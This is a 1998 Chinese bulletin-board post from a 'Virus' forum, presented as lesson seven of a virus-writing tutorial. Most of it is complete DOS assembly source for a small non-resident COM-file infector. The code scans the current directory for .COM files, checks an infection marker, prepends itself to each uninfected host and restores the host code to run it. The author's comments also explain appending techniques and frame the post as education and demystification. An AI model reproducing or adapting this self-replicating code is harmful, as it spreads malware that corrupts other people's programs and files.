荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mill (我会忘记), 信区: Virus
标 题: 病毒教程七
发信站: BBS 荔园晨风站 (Sun Oct 25 15:46:16 1998), 站内信件
发信人: cynicism (文月), 信区: Virus
标 题: 病毒教程之七---一个最短小的COM病毒
发信站: 龙门客栈 (Thu May 14 19:13:47 1998), 转信
Comment~
这是一个最小的病毒程序
不驻留内存
每次执行的时候感染当前目录的COM文件
Macro:Pmain,Pend,Pushall,Popall见另外一个例子
这只是一个模拟病毒程序
在两个COM类型的病毒例子中我都采用感染在
前面的方法,然而真实的病毒大部分采用
附加在后面的办法
附加在后面有两种处理方式
一种是修改前三个字节直接JMP 到病毒程序
这样OFFSET都发生了变化
例如本来在病毒程序中的100H
可能变成1112H,等等
你的程序需要做如下改动:
把宿主程序的长度作为相对偏移放入BX中
每次访问数据采用这种形式mov ax,mybuf[BX]
当然第一次感染的时候BX为0
或者你可以采用段对齐的办法
修改宿主的前几个字节为
Mov ax,cs
Add ax,(SUZHULen+15)/16 -16
Push ax
Mov ax,100h
Push ax
Retf
这样你可以使得你的病毒程序入口依然保持在100H
但是既然只是演示病毒的编写方法,
我们的目的只是让大家认识病毒为何物,
取消对病毒的畏惧,并且讨论病毒的杀除办法
所以我的病毒例子并不计较太多的方法。
~
Include stdio.h
Include PushPop.asm
Pmain
db 0EBH,00 ;病毒感染标志,JMP 102
Mov ah,9
Mov Dx,Offset MSG
Int 21h ;发作部分,显示信息
Push SaveSize
Pop SaveSize_ ;保存上次保存的部分
Mov ah,1ah
Push cs
Pop ds
Mov Dx,Offset DTABUF
Int 21H ;设置DTA的指针
Mov ah,4eh
Mov Cx,4fh
Mov Dx,Offset FindName
Int 21h ;开始查找COM文件
NextFind:
JC SearchEnd
Mov Dx,Offset DTABUF+30
Mov ax,3d02h
Int 21h ;DTABUF+30为查找出的文件名存贮位置
JC SearchEnd_
Mov FileHandle,AX
Call Effect ;感染
SearchEnd_:
Push cs
Pop ds
Mov ah,4fh
Int 21h
JMP NEXTFIND
SearchEnd:
Mov ah,1ah
Push cs
Pop ds
Mov Dx,80h
Int 21h ;设回DTA的指针
Mov SI,SAVESIZE_
ADD SI,100h
Mov DI,100H ;把保存的宿主代码移动到100H
Push cs
Pop ds
Push cs
Pop es
Mov ax,100h
Push ax
CLD
Mov Cx,Offset EndFile-100H
Rep Movsb
Retn
Effect Proc Near ;病毒感染程序与另外一个例子类似
Pushall ;不再注释
Push cs
Pop ds
Mov BX,FileHandle
Mov CX,Offset EndFile-100H
Mov AX,9000H
Mov DS,AX
Mov Dx,0
Mov ah,3fh
Int 21h
Cmp Word Ptr DS:[0],00EBH
JNZ NotEFFECT
Mov ah,3eh
Mov Bx,cs:FileHandle
Int 21h
Popall
Ret
NOTEFFECT:
Push cs
Pop ds
Mov Bx,FileHandle
Mov ax,4202h
Mov Cx,0
Mov Dx,0
Int 21h
Mov SAVESIZE,AX
Mov Bx,FileHandle
Mov ah,40h
Mov Cx,Offset EndFile-100h
Mov Dx,0
Mov Bx,9000H
Mov DS,BX
Mov Bx,cs:FileHandle
Int 21h
Push cs
Pop ds
Mov AX,4200h
Mov Cx,0
Mov Dx,0
Mov BX,FileHandle
Int 21h
Mov ah,40h
Mov CX,Offset EndOfFile-100h
Mov DX,100h
Mov Bx,FileHandle
Int 21h
Mov ah,3eh
Mov Bx,FileHandle
Int 21h
Popall
Ret
Effect Endp
FindName db '*.COM',0
FileHandle dw 0
DTABUF db 80h dup (0)
SAVESIZE dw EndOfFile-100h
SaveSize_ dw 0
MSG db 'Hello,are you tire ?Good luck to you!',0dh,0ah,'$'
EndOfFile:
ENDFILE:
Mov ax,4c00h
Int 21h
Pend
--
欢迎访问http://wenyue.yeah.net
提供最新软件下载,常用网络资源,序列号联结列表,免费杀毒等服务
欢迎到病毒区灌水
m;31m※ 来源:.龙门客栈 bbs.szonline.net.[FROM: ppp150.hk.ha.cn]m
--
m;36m※ 转寄:.龙门客栈 bbs.szonline.net.[FROM: 202.96.191.124]m
--
┏━━━━━━━━━━━━━┯┓
┃ 弃我去者,昨日之日不可留, ╚┫
┃ 乱我心者,今日之日多烦忧. ┃
┗━━━━━━━━━━━━━━┛
取下天上的月亮后,我拿给你
Email: s7110109@szu.edu.cn Macrobird
※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.0.167]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店